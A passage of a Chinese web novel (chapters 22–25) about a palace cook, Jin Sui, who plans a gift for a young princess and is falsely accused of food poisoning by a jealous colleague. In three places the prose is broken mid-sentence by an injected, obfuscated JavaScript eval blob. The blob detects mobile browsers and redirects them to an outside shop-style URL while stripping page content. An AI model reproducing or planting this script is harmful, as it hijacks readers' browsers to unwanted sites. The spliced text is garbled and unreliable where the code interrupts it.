有纪正卿在,施窈应当还算安全,她也用不着提心吊胆。 门里的施窈说着话就抵挡不住困意,靠在纪正卿的肩头睡着了,纪正卿装晕了一晚上此时自然是一点困意都没有,他就一直端详着施窈恬静的睡颜,嘴角噙着一抹微笑,内心甚是满足。 直至天明。 三人从赌坊出来,重见光明。 这一日,今穗和施窈纷纷向四司六局告假。 蜜煎局内的云从心下疑惑,这二人一同告假,莫不是偷偷摸摸去搞什么小动作了? 殊不知,二人只是各自回家睡觉去了。 第二日,今穗神清气爽地去蜜煎局当差,刚到就被告知,章总管吩咐四司六局分别准备一件生辰礼呈给郡主,蜜煎局里的人都在热烈地讨论她们该准备些什么。 这对于今穗来说简直是从天而降的机会。 姜佩兰也来了蜜煎局,与众人一同商议这件事。 她刚过来,就悄悄给今穗递了个眼色。 按理来说,各司各局准备的生辰礼应当是具备各自的特色,像她们蜜煎局,特色的点心之类的最为稳妥,偏偏这些都被明令禁止了,这让众人纷纷面露难色。 “要不我们凑一凑银子,给郡主买个珠宝首饰什么的?”有位小姑娘小声地提出建议。 “郡主那样身份的人自然是什么好宝贝都有,我们就别丢人现眼了。”她的提议立马被否决了。 这时,今穗观察着众人的脸色,试探着出声:“我近日研究出了一道点心,大家看看这个生辰礼合不合适。” 她将茶荔簪雪仔细地说给大家听,从外形到口感到功效,众人听了皆是连连点头,对她赞不绝口。 然而先前说话的姑娘又小声反驳道:“可是这终究是一道点心,毕竟上面明令禁止过的……” 不等今穗开口,众人就七嘴八舌地出声为她辩解。那姑娘被众人的辩解之语堵得面色尴尬,默默地离开到一旁去做事了。 然后蜜煎局就顺利地敲定用今穗的这道“茶荔簪雪”作为生辰礼献给郡主。 22. 往事故人 晌午过后,今穗想多做几份茶荔簪雪分给蜜煎局的大家尝一尝,但是她仔细一想有几样食材似是不够,又决定做一些常见的白凉粉。 盛夏时节暑热难耐,一碗清爽的白凉粉下肚最能清热解暑。 她将整齐排列的白凉粉从冰窖端回蜜煎局时,正巧碰上姜佩兰陪着章总管巡视四司六局,刚巡视到蜜煎局这边。 章总管的目光在今穗端的白凉粉上短暂停留了一下,什么话都没说就自顾自离开了。 姜佩兰把今穗拉到一旁的角落中:“此次四司六局献礼之事是章总管吩咐下来的,他先前虽说是拒了你,但现在怎么说你也应该去好好谢谢他。” “我明白的兰姨。”今穗忙不迭地答应下来。 她先将白凉粉端进屋子一一分发给大家,每个人接过冰凉的瓷碗皆是一顿感叹:“托今穗妹妹的福,夏日里能随意使用果子局的冰窖就是好。” 现如今,今穗和施窈的关系好已经是蜜煎局和果子局人尽皆知的事了。 蜜煎局的人都很是佩服她,毕竟在他们眼里施窈是那般不好相处的一个人,今穗也顺利拿下了。 说起这个,今穗内心也颇为感慨,她与施窈一开始本是因为合作才产生交集,可如今二人一起经历了这么多的事,关系也在不知不觉中变得愈发亲密,早已不仅仅是单纯的“盟友”了。 吃了今穗做的白凉粉,众人更是对她进行了天花乱坠的吹捧,仿佛她一声令下,他们就能拥护今穗成为蜜煎局新一任“王”,早已把云从抛之脑后了。 今穗忙着分发,倒是没空理会他们这些夸张的言辞。 轮到早上那个提出建议却又被众人否决了的小姑娘时,她一副忙手中的事情忙得不可开交的模样,似是完全没有发现今穗的到来,今穗就这么被晾在一旁。 今穗刚想出声提醒她,这人又故意转过身,完全不搭理身后已等了许久的今穗。 今穗见状心里也隐约知道是什么缘故,只不过她现下没工夫去处理这个事情,把瓷碗放在这姑娘的案桌上就准备离开。 就在这时,这姑娘终于转过身,手里拿的铲子“一不小心”撞到了桌上的瓷碗,好好的一碗白凉粉瞬间倾倒,洒的满桌都是。 “今穗你怎么在这里?”这姑娘一副刚发现今穗的惊讶模样,她又瞥了眼桌上的狼藉语气更加惊讶了,“我的桌子怎么成这样了。” 今穗脸上的笑容逐渐消失,表情逐渐变得费解,她想不通这姑娘精心设计的一番表演到底是为了给谁看。 仅仅是因为上午的那件事? 可是今穗甚至都叫不出这姑娘的名字,她就已经被人记恨上了。 她望着这个满脸惊讶的姑娘,眼睛一眨不眨地盯着她看,但是什么话都没说。 这姑娘被今穗盯得心里发毛,脸上的惊讶渐渐凝固:“我脸上是……” 她刚想说话,就被在一旁看热闹的云从打断了:“雪芽,今穗给你送白凉粉,你故意晾着她,还自己把碗打翻了。” 原来她叫雪芽。 云从言简意赅地将事情的来龙去脉交代清楚,雪芽听了脸上挂不住急忙为自己辩解:“今穗我不是故意的,是真的没看见,不好意思啊,你送的白凉粉我一定会吃完的。” 雪芽满脸歉疚与自责,说着就要伸手去抓撒了一桌的白凉粉。 说时迟那时快,云从一把抓住雪芽的手腕:“撒了自是不必再吃了,正好可以让咱们四司六局门口的阿黄一饱口福了。” 闻言,雪芽的脸色变了又变。 “今穗你不是还有事要忙吗?快去吧。”云从松开雪芽的手腕,慢条斯理道。 今穗点点头,她确实还得赶着去跟章总管道谢,不宜在这儿浪费时间纠缠。 她在白凉粉上淋了一些牛乳,又将一些时令瓜果切成小块放在上面,晶莹剔透的白凉粉泡在乳白色的牛乳里,再以色彩鲜艳的瓜果点缀,看起来十分香甜诱人。 没再多做逗留,今穗就端着谢礼往章总管那边去。 今日的阳光格外强烈,怕烈日将白凉粉晒化了,今穗这一路都是一手撑在托盘下面,另一只手作碗状遮在白凉粉上方,避免阳光直射。 就这小小的一段路,今穗就走得满头大汗。 到了章总管的门口,她恭恭敬敬地敲了门。 “进来吧。”这短短的三个字说得意味深长,好像章总管已经等了今穗许久。 今穗忙不迭地端着东西进去,屋内没有旁人在,章总管好像正在喝茶。 她满脸堆笑着将白凉粉放在章总管的面前,语气颇有些“谄媚”:“酷暑难耐,今穗做了白凉粉给总管消暑,还望您不要嫌弃。” 白凉粉的上方还冒着一股幽幽的凉气。 章总管瞥了一眼,没着急品尝,只是慢悠悠地说道:“坐。” 今穗依言坐下。 章总管的房间里放了冰鉴,室内比屋外要凉快不少,今穗也很快从燥热转为平静。 直到这时,章总管才慢条斯理地端起白凉粉品尝,混合着奶香和果香的白凉粉,一口下去,舒爽的凉意蔓延全身。 “嗯,不错。”即使吃着很美味的食物,章总管的动作依然优雅至极,看不出半点鲁莽,“你来就是为了给我送白凉粉的?” 聊到这,今穗打了腹稿的感谢语终于可以一口气全说出来了:“此次四司六局献礼一事,我知道是您在背后安排,才让我有机会将茶荔簪雪在生辰宴上献给郡主。为了报答您的一片苦心,我一定尽心竭力准备此次生辰礼,绝不出一点差错,保证让国公府对咱们四司六局赞不绝口。” 今穗洋洋洒洒说了一大段话,差点把自己都说得泪洒当场。 “别给我戴高帽。”章总管连忙反驳,他表面上一副若无其事的样子,实际上内心早已被她这番话说得乐开了花,“本来就是四司六局各自献礼,你既有本事让蜜煎局选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019246|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择你的点心作生辰礼,那就是你自己的功劳。” 说话间,章总管已经将一碗白凉粉全都吃光了。 “再来一碗吗?我去给您再取一碗。”今穗关切地询问道。 “不必,不可贪凉。”章总管想都没想就拒绝了。 他吃完白凉粉之后又喝了口热茶。 此情此景倒是让今穗想起了母亲,夏日里今穗总是贪吃冰凉的食物,或是街边糖水铺子里刚用冰块冰过的酸梅饮,或是软软糯糯的冰雪冷元子。 洛绾君总是嘱咐她不要吃太多凉的食物,可是乔逊总是纵着她。因为这事,好几次都惹得洛绾君生气不已,父女二人双双被罚。 那时也是这般盛夏的天儿,她和爹爹低着头在娘面前罚站,即使这样,下次总还是会再犯。 今穗一时陷入了回忆当中,都没注意到章总管起身走向了挂在后面的画。 他还是像今穗上次来时那般一动不动地盯着画看。 今穗回过神来时,终于忍不住疑惑问道:“章总管,这副画气势磅礴,人物刻画栩栩如生,不知您是从何处得来如此宝贝?” 听她这么说,章总管终于有了些反应,淡淡一笑:“不是什么名家之作,不过是从前茶酒司的一位旧相识为庆贺我生辰从夜市淘来的罢了,瞧着还算有趣便一直挂在这儿了。” 听到章总管提起茶酒司,今穗心下一惊,现在只要有人提起“茶酒司”三个字,总能一下子吸引今穗的注意力。 “您说的这位旧友……可是曾经茶酒司的洛绾君?”不知怎的,今穗的脑子完全不受控制的就将这个问题问了出来。 闻言,章总管脸色大变,他转身看向这个背脊挺直的小姑娘,她的身姿气质倒是像极了他那位旧友,但是仔细一端详今穗的长相,还是与洛绾君无半分相似之处。 洛绾君美艳动人,而今穗却是寡淡似水的模样,但这水会让人感觉奔流不息,极有生命力。 事实确是如此,今穗长相上肖父不肖母。 “你……认识洛绾君?” “在四司六局当差的这段时日,偶然听人提起过。”今穗这么回答也让人挑不出毛病,毕竟四司六局地广人多,只是偶然听闻也追究不到谁的过错。 再者,以洛绾君本人和当年那件事的轰动程度,有人会偷偷议论这件事也实属正常。 章总管再度沉默,不知在想些什么,过了好一会才回道:“是她赠予我的。” 听到了肯定的回答,今穗的心绪完全被牵动。眼前的这副画,跟母亲有着莫大的关系,她甚至可以想见母亲在夜市上挑画时的神情动作。 “第一次看见你我就觉着十分熟悉,你的气质神态与绾君相似,若不是长相大相径庭,我都以为你是她那可怜的小女儿。”提起往事和故人,章总管也感触颇多,毫不顾忌地说了许多话与今穗听,“想来世间千千万万人都不尽相同,你与绾君有相似之处也算是有缘分。” 23. 阳羡雪芽 今穗没想到母亲生前在四司六局除了兰姨之外还有章总管这样一位好友,她内心颇为动容。 洛绾君还在茶酒司当差的时候总是很忙,时常早出晚归,若是遇上所服务的主家远在外地,她更是十天半月都不着家。 因此她经常对在家中眼巴巴等着她的父女俩感到愧疚,好在父女二人都很理解她,对她从来没有半句怨言。 今穗来到四司六局的这段时日,她一点一点地了解到与母亲有关的事情,她也逐渐认识到,母亲抛去为人妻子和为人父母这两重身份后,作为茶酒司的洛绾君,她有着自己的知交好友,有着丰富的人生经历,服务于权贵世家时也能够从容应对。 她本该有着大好的年华。 想到这些,今穗眼眶又湿润了,有几滴泪控制不住从眼角滑落至脸颊。 怕章总管发现她的异样,今穗努力将头埋得很低。 既已道谢,她没再多说什么就告辞了。 蜜煎局内,雪芽还在为刚刚的事情耿耿于怀。 上午自己的提议被否决后,今穗立马提出了自己研制的点心,不仅让她出尽了风头,更让自己脸上挂不住。 她觉得今穗这么做分明是故意针对她,所以下午分发白凉粉的时候她才晾着今穗,没想到被云从给搅和了,她简直要气炸了。 从前在孟府的时候,她可是那五少爷宠爱非常的侍妾,何必受这些平民百姓的气。 雪芽那时在三房的薛姨娘身边当一个粗使丫鬟,平日里做一些浣衣的活计,寒冬腊月里双手都要在冷水中浸泡着,长了满手的冻疮,又痒又疼,严重时几乎夜不能寐。 她不甘心,为何同为女子,有些人靠着男人就能当仆从成群的富太太,而她却得遭这种罪。 雪芽虽容貌上平平无奇,但幸而她生来就有一副勾人的身段,从前在庄子上她扭着腰路过田地时,田里干活的男人无一不看直了眼。 她也知道那些婆娘在背地里是如何骂她的,但是这些人越骂她,她越高兴,因为这样恰恰证明了,她只要勾一勾手指,便能牢牢拴住男人们的心。 雪芽向来为自己的这副身段感到骄傲,想着自己要靠着这个嫁给城里的富贵人家,摆脱农家女的身份。 可是,似乎是她这副身子长得太好了,渐渐连爹都对她投去异样的目光。 她虽喜欢那些男人见着她时就走不动道的模样,但是爹也这样看她,她就觉得恶心又害怕。 直到那日,雪芽在屋内沐浴时发觉有人趴在门缝处偷看她。对于这种事情,她早已见怪不怪,让那些臭男人们看看而已,又不会少块肉,雪芽这么想。 然而偷看的人是爹,爹还偷偷拿走了她的小衣,雪芽找到自己的小衣时,上面还有一些液体干涸的痕迹。 她不知道这些是什么。 这个事情娘也知道了,娘那时的肚子已经有八个月了,肚子大到娘瘦弱的身子几乎承受不住。 雪芽是家里最大的孩子,她见证了娘的肚子大了一次又一次。 因为这件事,娘受到刺激早产了,是个男孩,是爹心心念念的儿子。 娘生产过后,家里的一切都要紧着这个宝贝疙瘩。雪芽家里本来就不富裕,因此娘趁机把她卖给了人牙子。 可是,娘把她交给人牙子时,眼里明明充满了悲伤与不舍。 在家里,雪芽变成了几吊钱。 在京城,雪芽变成了孟家的丫鬟。 孟家三房的三爷是个人尽皆知的好色之徒,眼见着有丫鬟成功爬上了三爷的床榻,当上了半个主子,雪芽也起了心思,即使这个三爷已是和她爹一般的年纪。 但是雪芽连三爷的面都没见上,却阴差阳错地被三房的五少爷看上了。 这样也不错,雪芽沾沾自喜。 五少爷很是迷恋她的身子,没几日就抬她做通房,还拨了丫鬟伺候她。 雪芽第一次感到自己成为了人上人,对自己的这副身子愈发自豪,经常幻想着自己一步步往上爬,有朝一日当上正经的主子。 然而这通房也不是这么好当的。五少爷床笫之间有些特殊的癖好,她不得不硬着头皮去满足他,从来不敢说一个“不”字。 而且五少爷尚无正妻或侧室,但房里通房、侍妾一大堆,那些侍妾自诩地位高通房一等,常常来磋磨她们。 但是为了荣华富贵和高人一等,这些她都忍了,为了打败别的女人得到五少爷更多的宠爱,她使出了许多法子。 终于,她从通房晋升成了侍妾,这下轮到她磋磨别人了。 可是这侍妾的位子还没坐热乎,孟家老夫人的寿宴上就死了人,本来这事与她没什么关系,可是那薛姨娘偏偏说是她们这些狐媚子害得五少爷不小心瞧见了死人场景,吓得一连病了好几日,她们和府内小厮一同被发卖了。 雪芽的侍妾生活到此结束。 可是一旦尝过被人伺候的滋味,她更不甘心为奴为婢,屈服于可笑的命运。 本来她们一行人是要被卖到妓院去的,好在她在孟府时存下了一些积蓄。 有钱能使鬼推磨。 她买通了人逃出来,又听说四司六局能够接触到富家子弟,她就托关系进了蜜煎局。 一切的一切都很顺利,好像老天都在告诉她,她天生就是被人伺候的命。 但是在四司六局的生活并不如她想象中一般美好,每日围着这些破蜜饯打转,连从前孟府院里满面油光的厨娘都不如。 然而天无绝人之路,恰逢长宁郡主生辰宴,她听闻小郡主有一位正值壮年的兄长,是圆是扁未可知,但重要的是,那可是国公府。 即使那世子矮小肥胖,满脸麻子,她也丝毫不在乎,若是做不成侍妾、通房,大不了做个外室。 再不济,那生辰宴上定是世家云集,总有看得上她的,她只需稍微使出些手段。 男人嘛,不就那么回事。 但是,在四司六局的一切都不让她顺心遂意。 特别是向郡主献礼一事,雪芽本来想,这些出身市井的草民定是没见过多少金银珠宝一类的好东西,凭她在孟家的那些见识,她必能一鸣惊人,甚至在生辰宴上受到郡主的夸赞,然后得到众多世家子弟的青睐。 然而这些美好的构想全都被今穗给破坏了,她已经将这个仇深深地记下。 终有一日,雪芽一定要让这个叫今穗的知道,以她的身份,给自己提鞋都不配! —— 离八月初八的日子越来越近,四司六局中的每一个人都在紧锣密鼓地准备着,毕竟郡主的生辰宴,半点差错都容不得。 今穗也一日又一日精细茶荔簪雪的细节之处,使之成为一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019247|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近乎完美的点心。 施窈这几日也是忙得脚不沾地,偶尔见着今穗也只是匆匆打个招呼。 祈陌春坊那边也告了假,纪正卿见不着施窈,整个人都要相思到身形憔悴了。 本来这又是个繁忙且充实的一天。 日暮西沉之时,忙碌了一天的今穗揉了揉酸软的腰肢,准备将今日之事作个收尾。 谁料平静了一整天的蜜煎局却莫名吵嚷起来。 今穗本来懒得关心这些事,但恍惚间听得这吵闹之事竟与她有关。 她放下手中的活,凝眸看过去。 只见雪芽扶着一位面色苍白、身体虚弱的男子向她走来,后面还跟了一位须发花白的老人。 果然是她。 这雪芽又要整什么幺蛾子,今穗见她来者不善,只好先放下手中的活计,看她要做什么。 雪芽见了今穗就柳眉微蹙,满脸担忧的模样:“今穗妹妹,张哥前几日吃了你给的白凉粉之后就腹泻不止,他先前还以为是自己不小心吃坏了东西就没在意,谁知几日了都未曾好转,只好去看郎中,谁知郎中竟然说是……” “说是什么?”蜜煎局内的众人听她这么说纷纷好奇地问道。 雪芽欲言又止,最终看着今穗的表情变得意味不明:“食物中毒!” 众人都被吓了一跳,食物中毒可不是小事,更何况这蜜煎局整日里研究的就是一些要入口的东西,食物中毒这事如果传出去了,哪还有官府富家会放心雇他们去承办宴席。 雪芽看着众人惊讶且复杂的神色很是满意,见气氛到了她又接着说道:“这老人家相信大家都不陌生,咱们门口的阿黄就是他养的。那日我不小心打翻了今穗妹妹给的白凉粉,她就气得说什么不如喂狗,我内心非常歉疚想着也不能浪费就去喂给阿黄了,可谁知那阿黄吃了之后就蔫蔫的,我今日瞧见时,它已经咽气了。” 她一副十分悲伤的模样,说着还用手拭了拭眼角的泪:“都怪我非要给阿黄喂白凉粉,不然它也不会……” 那老人也跟着哭哭啼啼。 众人皆是一脸不敢置信,他们当日也吃了白凉粉,倒是没什么不适之处。 可是人群之中竟有个人躲在后面悄悄附和:“我吃了之后也腹泻了,以为是自己的问题,请大夫开了药才没事。” 一石激起千层浪。 有这个人开头,蜜煎局的众人莫名其妙地跟着说自己也有类似的症状。 蜜煎局内瞬间乱成了一团。 现下,若有人说自己没事才是不正常的那一个。 雪芽哭着哭着还不忘低头偷偷露出一抹势在必得的笑。 她以为没人看见,但这一切都被今穗看在眼里。 面对蜜煎局内乱作一团的场景,今穗仍然没有说话,她只是冷眼看着眼前这位将虚假的故事说得栩栩如生的姑娘,内心感叹她不去当说书先生简直是屈才了。 然而雪芽的表演在她眼里幼稚且低劣,她的说辞漏洞百出,可是偏偏在场的许多人都吃她这一套。 她没想到自己竟也会遇上陷害、污蔑这些极其下作的手段,看来这四司六局也有许多不为人知的污糟。 若只是为了这事闹出这么大的动静,今穗丝毫不慌,她不紧不慢地将刚刚未做完的活儿做完,才腾出时间来去搭理这群戏子。 24. 食物中毒 众人见今穗一副什么都没发生的淡定模样,更加感到疑惑,先前闹闹哄哄的蜜煎局也逐渐安静下来。 雪芽见今穗这个样子内心也有些许不安,但她还是选择继续表演,装作一副不敢置信的样子:“我相信今穗妹妹断断不会做出这种事的,一定是咱们蜜煎局的食材出了问题。” 这种话对于蜜煎局来说可万万说不得,若这事今穗一人揽下便也罢了,只不过是她一个人的错误波及不到大家,若是说食材有问题,蜜煎局的所有人都有可能饭碗不保。 大家都明白其中的利害关系,就有不明真相的正义之士出来帮腔:“今穗,这事若是你的错误赶紧自己承认了吧,看在大家同在蜜煎局共事一场的份上也不会怪罪于你,你自行离开蜜煎局,在外面碰见了也还是朋友,若是你咬死不认,把事情闹大了对大家都不好,你今后还怎么在蜜煎局继续待下去,你自己看着办吧。” 这人说的话似乎将今穗所有的出路都堵死了,而且字字句句都落在众人担忧的点上,此刻她若不认她便是蜜煎局的罪人。 众人听着都觉得十分有道理,纷纷附和。 雪芽对事情的走向很是满意,全都在她的意料之中,她倒要看看,这今穗能怎么收场。 今穗见大家说够了,才冷笑着开口:“认,我当然会认。” 雪芽见她认罪认得这么爽快,微微有些惊讶,但这正是她想要的,因此继续扮演着她的角色:“这……今穗妹妹定是有什么苦衷才这么做的吧。” 不等雪芽说完话,今穗就已经看够了她一连串的拙劣表演:“我这就认了未免太草率了,不如咱们到章总管面前认怎么样。” 众人以为她这是垂死挣扎的狡辩之语,并没有被吓到,反而有人锲而不舍地想来劝她。 “毕竟章总管那日也吃了我做的白凉粉,若是认罪一事不让他知道岂不是不公,正好咱们也去慰问一下章总管,看看他是否有上吐下泻,食、物、中、毒!” 今穗眼也不眨地盯着雪芽,将“食物中毒”一字一顿地说出来,颇具威慑力。 还不等众人作出反应,云从和姜佩兰就跟着章总管进了蜜煎局。 “何事这般吵吵嚷嚷。”章总管语气很是不悦。 离生辰宴越来越近,章总管到各个司各个局巡视的次数也越来越多,前面巡视后他很是满意,没想到这蜜煎局又是个不省心的。 姜佩兰和云从见状也是一脸疑惑,众人皆站在今穗的对面,她分明是一副被欺负的模样。 见章总管带着人突然进来,今穗反应十分迅速,不给雪芽表演的机会,她就先发制人:“章总管,雪芽说我那日做的白凉粉有毒,不知您身体是否有恙。” 今穗简单的一句话,再结合蜜煎局内的场景,章总管瞬间就明白发生了什么。 “哪位是雪芽?”章总管面无表情。 雪芽也察觉到了情况不对劲,小心翼翼地从人群中走到章总管的面前,屈膝蹲下:“是我……但张哥和阿黄确实吃了她的白凉粉才……” “大胆!”不等雪芽辩解完,章总管就怒喝一声,将屋内所有的人都吓了一大跳,雪芽也被吓得腿软着瘫倒在地。 “妖言惑众!”章总管脸色十分阴沉,“四司六局开办十余年何曾出过这等事,你说是食物中毒就是了?” “还有你们!听信谣言,惹出大乱。”章总管瞪着屋内低着头大气都不敢出的众人,一字一句作出对众人的处决,“蜜煎局雪芽散布谣言,破坏四司六局声誉,赶出去不许再录用,掌事姜佩兰管理不力致使蜜煎局秩序散乱,罚俸一个月,其余人听信谣言,罚俸半个月,蜜煎局上下不许为郡主献礼。” 章总管将众人的处决说完就准备离开,可谁知走之前又来了句:“今穗上次做的白凉粉很是可口,茶荔簪雪的点子也很有新意,就由你来做蜜煎局的副掌事,和云从一起好好协助姜掌事管一管蜜煎局的不正之风。” 姜佩兰一直以来都不大管事,此次出了这个事还是得承担责任,云从以前作为副掌事也很散漫。 章总管提拔今穗做副掌事一方面是因为她出众的能力,另一方面也知道蜜煎局得彻底管一管了。 蜜煎局内唯一得到嘉奖的今穗倒是宠辱不惊,平静地向章总管道谢。 其他人被章总管训斥了一番后都各自灰溜溜地散开了,雪芽很快被人带走,那个所谓的张哥和养阿黄的老人也早就不见了踪影。 姜佩兰也没有被罚俸的事影响,将章总管送走后就赶紧回来和她道喜,云从也在一旁恭喜她:“恭喜小徒弟,喜提为蜜煎局当牛做马的副掌事一职。” 今穗被他这不正经的样子逗笑了,坏心情瞬间就一扫而光。 这件事仅仅是个小插曲,对于今穗来说也完全不值得放在心上。 重要的是,因为这个事,她好不容易抓住的向郡主献礼的机会又失去了。 今穗叹了口气,她又得重新想办法。 现在她成了副掌事,平日里也会更加忙碌了。 随着长宁郡主的生辰宴之日越来越近,裴国公府当然也不会闲着。 落雁居内。 裴樾焦头烂额好些日子,前段时间为了地下赌坊之事耗费了许多精力也没个结果。 等那赌坊重新开张,本以为可以趁机将其一网打尽,谁知这赌坊虽说是孟家三姑娘孟婵所开,但背后却有来自宫中某位大人物的支持,所以才会这般无所顾忌。 赌坊那边是万万动不得了,他作为提刑官接手了这个案子,也只好以未查出任何异样为结果让这个案子到此为止。 再过几日便是裴楹的生辰,这段时日她也还算乖巧,配合着太医治疗牙齿。 自那时孟织筠给出应对的方子,经过太医的再三检验后,终于将这个法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019248|148680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子落实到裴楹身上,坚持几日下来颇有成效。 昭华见此也甚是愉悦,几次请孟织筠到府上来查看裴楹的情况。 这日,江锦初陪同孟织筠一同到国公府为裴楹看诊,但实际上是江锦初硬要跟着来。 他这个闲散小侯爷倒是当得自在,平日里无事就跟在孟织筠身后转悠,恨不得寸步不离。 孟织筠早已习惯了他如此,像往常一样提着药箱去了晚香阁,江锦初闲来无事就拉着裴樾一同去旁观。 裴樾拗不过,只好无奈地过去了。 晚香阁内,两个大男人在一旁看着,孟织筠仔细地查看裴楹牙齿的情况并事无巨细地询问她的感受。 但是裴楹的情绪似乎有些低落,不管孟织筠问什么,她只是低声地回答几个字,脸上也没什么表情。 孟织筠敏锐地察觉到了这一点,给她看诊结束后,就试着问她:“咱们小长宁好像不太高兴的样子呀,是牙齿太疼了吗?” 裴楹皱着小脸摇摇头,孟织筠轻柔地摸了摸她柔软的脸颊,她犹豫了好一会才将自己的想法说出来:“织筠姐姐,楹儿想吃点心,甜甜的点心,楹儿好久好久好久都没吃过甜食了,楹儿到底什么时候才能吃甜食呀?” 小姑娘抱着孟织筠的胳膊微微摇晃作出哀求的模样,圆溜溜的双眸楚楚可怜地泛着泪花。 一旁的江锦初和裴樾见状顿时沉默了,他们都心知肚明,虽然裴楹现在的牙齿正在向好的方向发展,但是完全经不起一丁点甜食的摧残。 可是裴楹毕竟只是个八岁的孩子,她从前那样喜爱点心一类的吃食,如今竟也能够说断就断了大半个月。 身为金尊玉贵的郡主,这世间仍有她不可得之物。 孟织筠暂时也想不出更好的对策,毕竟治牙一事,需得长久坚持,不可半途而废,她只能一边安慰着可怜巴巴的小姑娘,一边让自己狠下心来。 “小长宁现在的牙齿好得很快,只要再坚持一会,相信用不了多久就能想吃什么就吃什么了。”孟织筠只能用这样的话来安抚她。 裴楹抬起泪眼婆娑的小脸,抽泣着问道:“真的吗?” “真的,织筠姐姐什么时候骗过你,小长宁的牙齿不是已经没那么疼了吗。”孟织筠笑着回答。 听孟织筠这么说,裴楹对此深信不疑,哭声也很快就止住了。 旁边束手无策的裴樾和江锦初也终于松了口气。 看诊结束后,刘妈妈和丫鬟们过来服侍裴楹回卧房休息,孟织筠也准备告辞,在她离开之前裴楹还依依不舍地叮嘱道:“等楹儿能吃甜食的时候,织筠姐姐一定一定要第一时间告诉我哦,千万不要忘啦。” 孟织筠连忙应下,并再三保证不会忘记后,裴楹才放她离开。 他们三人皆是心事重重地出了晚香阁,毕竟面对裴楹的恳求,谁都忍不下心,但谁都没有办法。 25. 捉拿情郎 孟织筠刚出国公府就拒绝了江锦初要送她回府的请求,此刻她不着急回去,很想去见一个人。 江锦初很是不乐意,生怕她背着自己去会见什么情郎,但是孟织筠态度坚决,他也只好妥协。 可是孟织筠一走,江锦初就鬼鬼祟祟地跟在她身后,还拉上了不明所以的裴樾和他一起。 本来裴樾将他们二人送到府外就准备回去,谁知这江锦初莫名其妙地拉着他去跟踪孟织筠,他无奈摇头。 二人一路都小心翼翼地跟着,一会躲在墙角后作掩护,一会装作在路边摊贩旁买东西的路人。 一路上惊心动魄,好在孟织筠似乎一点都没有察觉。 江锦初这下更气了,她这到底是要去见谁,竟专注到完全没有发现自己的存在。 裴樾在一旁见他跟踪了别人一路还气呼呼的样子,更是无奈扶额。 天色渐晚,街道上逐渐热闹起来。 走着走着,裴樾不禁皱眉,这个路线和方向让他莫名地感觉熟悉。 直到孟织筠在界身北巷的巷子口停下,裴樾才终于反应过来。 乔逊拄着拐杖提着一个灯笼慢悠悠出来挂在门口,“乔家医馆”的牌匾在黑暗中被照亮。 这里是今穗的家。 孟织筠走上前笑着和乔逊打招呼,并递上了自己顺路买的小礼物。 突然登门造访,空着手总不好。 乔逊笑眯眯地接过礼物并招呼孟织筠进屋喝茶,此时今穗应当还未归家,屋内并无她的身影。 在医馆外不远处悄悄观察的江锦初满脸疑惑,这跛脚大夫瞧着也不像情郎。 她一个人来医馆莫不是身体抱恙,不愿与他说? 但是他又莫名觉得这跛脚大夫似乎有些眼熟。 孟织筠到这儿来无非是想见今穗,江锦初这种跟踪的小人行为完全是担忧过头了。 裴樾想明白后完全不想理会他,自顾自到旁边的茶摊坐下,悠哉悠哉地喝茶。 还躲在墙角后的江锦初见裴樾就这么走出去,使劲地对淡定的某人挤眉弄眼,但裴樾根本不搭理他,江锦初只好一边用手捂着脸一边做贼一样走过去到裴樾身边坐下。 “你干什么?万一咱们被发现了不就完了?”江锦初刻意压低声音说话。 这个茶摊正对乔家医馆的门,他们坐在这可以清楚地看见医馆内的情况,同样,屋里的人也会很容易看见他们。 “这就是你说的情郎?”裴樾慢悠悠喝了一口煎茶汤,原来这就是民间的保健茶,滋味尚可。 江锦初一时语塞,二人心惊胆战地跟踪了一路,没想到竟闹了个乌龙:“情郎一事应该是莫须有的了,可是……我还是想不明白阿筠为什么要背着我来这儿。” “孟小姐哪里是背着你,不过是有自己的事要做。”裴樾冷静地陈述事实。 “她那么狠心地回绝了我送她回去的请求,还不算背着我吗?”江锦初的声音不自觉地放大,言语中委屈至极,跟他得知孟织筠逃婚后的模样不遑多让。 裴樾简直要被这人给气笑了,他此时此刻真的无比希望精通医术的孟小姐能够好好治一治江锦初的“病”。 二人争论见闹出了不小的动静,医馆内的孟织筠等了今穗许久还不见人,就准备出门瞧一瞧,却看见对面茶摊上坐着两个熟悉的面孔。 而今穗也恰在此时到了界身北巷的巷子口,她迟疑地走过去,看了看茶摊上的两位公子哥,又看了看从医馆里走出来的孟织筠。 今儿可真是热闹。 这个场景让在场的好几个人都摸不着头脑,裴樾虽早已知悉了这一切,却也没想到会有样的巧合。 